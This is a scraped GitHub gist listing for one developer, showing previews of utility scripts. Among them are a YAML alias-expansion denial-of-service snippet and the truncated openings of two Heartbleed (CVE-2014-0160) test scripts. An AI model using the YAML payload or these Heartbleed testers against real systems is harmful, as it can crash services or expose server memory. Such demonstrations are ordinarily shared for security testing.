Skip to content

Instantly share code, notes, and snippets.

Avatar

Taha Jahangir tahajahangir

View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am tahajahangir on github.
  • I am jahangir (https://keybase.io/jahangir) on keybase.
  • I have a public key whose fingerprint is E65C 64A6 5648 0BF5 85FE DBB3 B9CA B1E5 5A05 8DA2

To claim this, I am signing this object:

@tahajahangir
tahajahangir / gmail_imap_relay.py
Created Mar 10, 2016
IMAP Relay for gmail (to inspect/debug imap), prints unencrypted data (without TLS) and disables compression
View gmail_imap_relay.py
import tornado
from tornado import gen
from tornado.ioloop import IOLoop
from tornado.iostream import IOStream
from tornado.tcpclient import TCPClient
from tornado.tcpserver import TCPServer
COLOR_WHITE = 7
COLOR_RECEIVED = 3
COLOR_SENT = 2
@tahajahangir
tahajahangir / yaml-dos.py
Created Jan 12, 2015
Yaml load denial-of-service using alias feature
View yaml-dos.py
import yaml
yaml.safe_load("""
- &a '1'
- &b [*a,*a]
- &c [*b,*b]
- &d [*c,*c]
- &e [*d,*d]
- &f [*e,*e]
- &g [*f,*f]
- &h [*g,*g]
View redis-server
#!/bin/sh
#
# redis - this script starts and stops the redis-server daemon
#
# chkconfig: - 85 15
# description: Redis is a persistent key-value database
# processname: redis-server
# config: /etc/redis/redis.conf
# config: /etc/sysconfig/redis
# pidfile: /var/run/redis/redis.pid
@tahajahangir
tahajahangir / hb_test.py
Last active Aug 29, 2015 — forked from takeshixx/hb-test.py
Added threading/loop support (serveral features from different forks also added)
View hb_test.py
#!/usr/bin/env python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modifed to send heartbeat requests for both TLS v1.1 and v1.2
import sys
import struct
import socket
View ssltest.py
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
@tahajahangir
tahajahangir / graceful_http_server.py
Last active Jun 1, 2016
Tool to stop a TCPServer (or HTTPServer) in a graceful manner (when the all currently running work is done). This script works either for forked servers or single-process servers.
View graceful_http_server.py
"""
Graceful Stopper
===================
Tool to stop a TCPServer (or HTTPServer) in a graceful manner (when the all
currently running work is done). This script works either for forked servers or
single-process servers.
The graceful-stop process can be triggered by sending `SIGHUP` to server (in a
forked environment, sending SIGHUP to master server, propagates to all
children). Server immediately releases the listening socket (so another server
@tahajahangir
tahajahangir / mongo_dump.py
Last active Dec 31, 2015 — forked from kesor/sql_mongodb_dump_middleware.py
The file is a util for dumping mongo commands/queries. Can be used in any python environment, and included a django middleware.
View mongo_dump.py
import struct
import logging
from pymongo import MongoClient
import bson
from bson.errors import InvalidBSON
from pymongo.mongo_replica_set_client import MongoReplicaSetClient
logger = logging.getLogger('mongo_dump')
@tahajahangir
tahajahangir / msync.cpp
Created Dec 10, 2013
A simple FreeBSD file syncer that can `fsync` a large file chunk-by-chunk.
View msync.cpp
/**
* Compile:
* $ g++ -Wall -o msync msync.cpp
* Usage:
* $ msync FILE [WAIT_FACTOR]
* WAIT_FACTOR is a float that changes wait time between syncing two
* chunks (each CHUNK is 10MB). Wait time is factor of sync time, so
* if WAIT_FACTOR is 2.0 (default), if syncing 10MB takes 1 seconds,
* the program waits 2 second after that step.
*/
@tahajahangir
tahajahangir / example-mod-wsgi.py
Last active Nov 14, 2019 — forked from branneman/example-mod-wsgi.py
Python (2&3 compatible) Equivalent to phpinfo()
View example-mod-wsgi.py
def application(environ, start_response):
from pyinfo import pyinfo
output = pyinfo()
# or pyinfo([('custom key', 'custom value'), ...])
start_response('200 OK', [('Content-type', 'text/html')])
return [output]
You can’t perform that action at this time.